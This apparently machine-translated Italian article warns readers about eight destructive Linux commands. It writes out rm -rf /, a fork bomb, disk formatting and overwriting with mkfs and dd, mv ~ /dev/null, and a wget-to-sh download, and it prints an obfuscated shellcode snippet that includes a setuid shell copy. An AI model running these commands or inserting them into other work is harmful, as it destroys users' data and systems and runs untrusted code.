8 comandi mortali che non dovrebbero mai essere eseguiti su Linux

8 comandi mortali che non dovrebbero mai essere eseguiti su Linux

I comandi del terminale su Linux sono piuttosto distruttivi, se esegui un comando distruggerà il tuo sistema. Linux non richiede conferma durante l'esecuzione di qualsiasi comando.

Imparare quali comandi non dovrebbero essere eseguiti su Linux aiuta a proteggere il tuo sistema quando lavori su Linux. Di seguito sono riportati 8 comandi mortali che non dovresti mai eseguire su Linux.

8 comandi mortali che non dovrebbero mai essere eseguiti su Linux

1. rm -rf / - cancella tutto

Il comando rm -rf / eliminerà tutto, inclusi i file sul disco rigido e i file sui dispositivi multimediali collegati al computer.

Per comprendere meglio questo comando, analizzatelo come segue:

  • rm – Elimina i seguenti file.
  • -rf – esegue rm (elimina tutti i file e le cartelle all'interno di una cartella specificata) ed elimina forzatamente tutti i file senza prima chiedertelo.
  • / – Indica che rm (ad esempio rm) inizia nella directory principale, inclusi tutti i file sul tuo computer.

Linux seguirà felicemente questo comando ed eliminerà tutto senza avvisarti, quindi fai attenzione quando usi questo comando.

Inoltre il comando rm viene utilizzato anche in modi molto pericolosi. Ad esempio, rm –rf ~ eliminerà tutti i file nella cartella Home e rm -rf .* eliminerà tutti i file di configurazione.

2. Comando mascherato rm –rf /

Ecco uno snippet di codice in tutto il Web:

char esp[] __attribute__ ((section(".text"))) /* versione esp */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

Questa è essenzialmente un'altra versione di rm –rf / – l'esecuzione di questo comando eliminerà anche tutti i tuoi file, proprio come l'esecuzione di rm –rf /.

3. :(){ :|: & };: – Un tipo di blockbuster

8 comandi mortali che non dovrebbero mai essere eseguiti su Linux

La riga di comando seguente sembra molto semplice ma la sua funzione è in realtà molto pericolosa:

:(){ :|: & };:

Questo breve comando creerà nuove copie di se stesso. Cioè, il processo di backup stesso sarà continuo e causerà rapidamente il riempimento della CPU e della memoria.

Inoltre può causare il blocco del computer. Si tratta fondamentalmente di un attacco Denial of Service (DoS).

4. mkfs.ext4 /dev/sda1 – Formati del disco rigido

Il comando mkfs.ext4 /dev/sda1 è abbastanza facile da capire:

  • mkfs.ext4: crea un file system ext4 sul seguente dispositivo.
  • /dev/sda1 - identifica la prima partizione sul primo disco rigido, che potrebbe essere il disco rigido in uso.

Combinare questi due comandi equivale a formattare l'unità C: su Windows: elimina tutti i file sulla prima partizione e sostituiscili con il nuovo file system.

Questo comando può apparire in molti formati diversi, ad esempio: mkfs.ext3 /dev/sdb2 formatterà la seconda partizione sul secondo disco rigido con il file system ext3.

5. comando > /dev/sda - scrivi direttamente su un disco rigido

8 comandi mortali che non dovrebbero mai essere eseguiti su Linux

Riga di comando > /dev/sda: esegui un comando e invia il risultato di quel comando direttamente al tuo primo disco rigido, scrivendo i dati direttamente sul disco rigido e distruggendo il tuo file system.

  • comando – Esegue un comando (può essere qualsiasi comando).
  • > – invia l'output del comando alla seguente posizione.
  • /dev/sda – Scrive l'output del comando direttamente sul dispositivo del disco rigido.

6. dd if=/dev/random of=/dev/sda – scrive dati stupidi sul disco rigido

La riga dd if=/dev/random of=/dev/sda cancellerà i dati su uno dei tuoi dischi rigidi.

  • dd – consiste nell'eseguire una copia di basso livello da una posizione all'altra.
  • if=/dev/random – Usa /dev/random come input – potresti vedere indirizzi come /dev/zero.
  • of=/dev/sda – output sul primo disco rigido, sostituendo il file system con dati stupidi casuali.

7. mv ~ /dev/null – Sposta la tua directory Home in un buco nero

/dev/null - spostare qualcosa in /dev/null equivale a distruggerlo. Pensa a /dev/null come a un buco nero. mv ~ /dev/null invierà tutti i tuoi file personali in un buco nero.

  • mv – sposta il seguente file o cartella in un'altra posizione.
  • ~ – L'intera cartella Home.
  • /dev/null – Sposta la tua cartella Home in /dev/null, distruggerà tutti i tuoi file ed eliminerà le copie originali.

8. wget http://example.com/qualcosa -O – | sh: carica ed esegui uno script

Il comando precedente scaricherà uno script dal Web e invierà lo script a sh, che eseguirà il contenuto dello script. Questo può essere pericoloso se non sei sicuro di cosa sia uno script o non disponi di una fonte di script attendibile: non eseguire script non attendibili.

wget – scarica un file.

http://example.com/something: scarica i file da questa posizione.

| – Invia tramite pipe l'output del comando wget (file della versione scaricata) direttamente a un altro comando.

sh – invia il file al comando sh.

Fare riferimento ad alcuni altri articoli di seguito:

Divertirsi!


Come utilizzare la modalità IE per sostituire Internet Explorer recentemente interrotto

Come utilizzare la modalità IE per sostituire Internet Explorer recentemente interrotto

Da Windows 11, Internet Explorer verrà rimosso. In questo articolo, LuckyTemplates ti mostrerà come utilizzare Internet Explorer su Windows 11.

Istruzioni per collegare il codice Product Key di Windows 10 allaccount Microsoft

Istruzioni per collegare il codice Product Key di Windows 10 allaccount Microsoft

Questa nuova funzionalità ti consente di riattivare Windows 10 senza dover contattare Microsoft quando cambi l'hardware del tuo computer, inclusa la sostituzione della scheda madre e del processore (processore) o del disco rigido.

Cosè lhost del provider Device Association Framework e perché viene eseguito su un computer?

Cosè lhost del provider Device Association Framework e perché viene eseguito su un computer?

Ogni volta che apri Task Manager su un computer Windows 8 o Windows 10, vedrai alcuni processi denominati "Host provider Device Association Framework" in esecuzione. Allora, cos'è l'"host del provider di Device Association Framework"? E perché questo processo è in esecuzione sul tuo computer Windows? È un virus oppure no? Tutte le risposte saranno nell'articolo qui sotto di LuckyTemplates.

7 misure per aumentare la sicurezza dei portafogli elettronici da non ignorare

7 misure per aumentare la sicurezza dei portafogli elettronici da non ignorare

La tecnologia di pagamento mobile si è evoluta nel corso degli anni, accelerando il commercio a un ritmo vertiginoso, portando alla nascita dei portafogli elettronici. Di seguito sono riportate 7 importanti misure di sicurezza per contribuire ad aumentare la sicurezza dei portafogli elettronici.

Bellissimi e scintillanti sfondi di Natale 2024 per il tuo computer

Bellissimi e scintillanti sfondi di Natale 2024 per il tuo computer

Il Natale 2024 si avvicina, non vuoi solo decorare la tua casa ma vuoi portare l'atmosfera natalizia anche sul tuo amato computer. Scarica uno di questi sfondi natalizi gratuiti.

Questo è il motivo per cui il tuo computer diventa sempre più lento

Questo è il motivo per cui il tuo computer diventa sempre più lento

La cache è costituita dai dati delle sessioni precedenti di applicazioni e programmi che il sistema operativo salva per consentire di scaricare più rapidamente i dati nelle sessioni successive. Tuttavia, dopo un lungo periodo senza pulizia, la cache riempirà il disco rigido e occuperà tutto lo spazio sul disco rigido.

Come vedere cosa occupa molto spazio di archiviazione su Windows 10

Come vedere cosa occupa molto spazio di archiviazione su Windows 10

In questo articolo, Quantrimang ti guiderà come vedere quali tipi di file occupano molto spazio di archiviazione sul tuo computer Windows 10.

Come rimuovere completamente Yahoo Toolbar e ricerca. yahoo. com?

Come rimuovere completamente Yahoo Toolbar e ricerca. yahoo. com?

Yahoo Search è un motore di ricerca legittimo. Tuttavia, è anche considerato un browser hijacker, che reindirizza gli utenti alla ricerca. yahoo. com. Questo browser hijacker prenderà il controllo della home page del browser Web e delle impostazioni del motore di ricerca per visualizzare la home page e il motore di ricerca di Yahoo Search invece della home page e del motore di ricerca precedentemente impostati.

Informazioni sulla funzionalità Termina operazione in Windows

Informazioni sulla funzionalità Termina operazione in Windows

Termina operazione è una funzionalità di Task Manager di Microsoft Windows. Si trova nella scheda Applicazioni e consente agli utenti di chiudere qualsiasi programma che risponde o non risponde.

Windows + V: scorciatoia utile che molti utenti Windows non conoscono

Windows + V: scorciatoia utile che molti utenti Windows non conoscono

Come molte altre piattaforme, Windows dispone anche di un gestore di appunti specializzato chiamato "Cronologia degli appunti".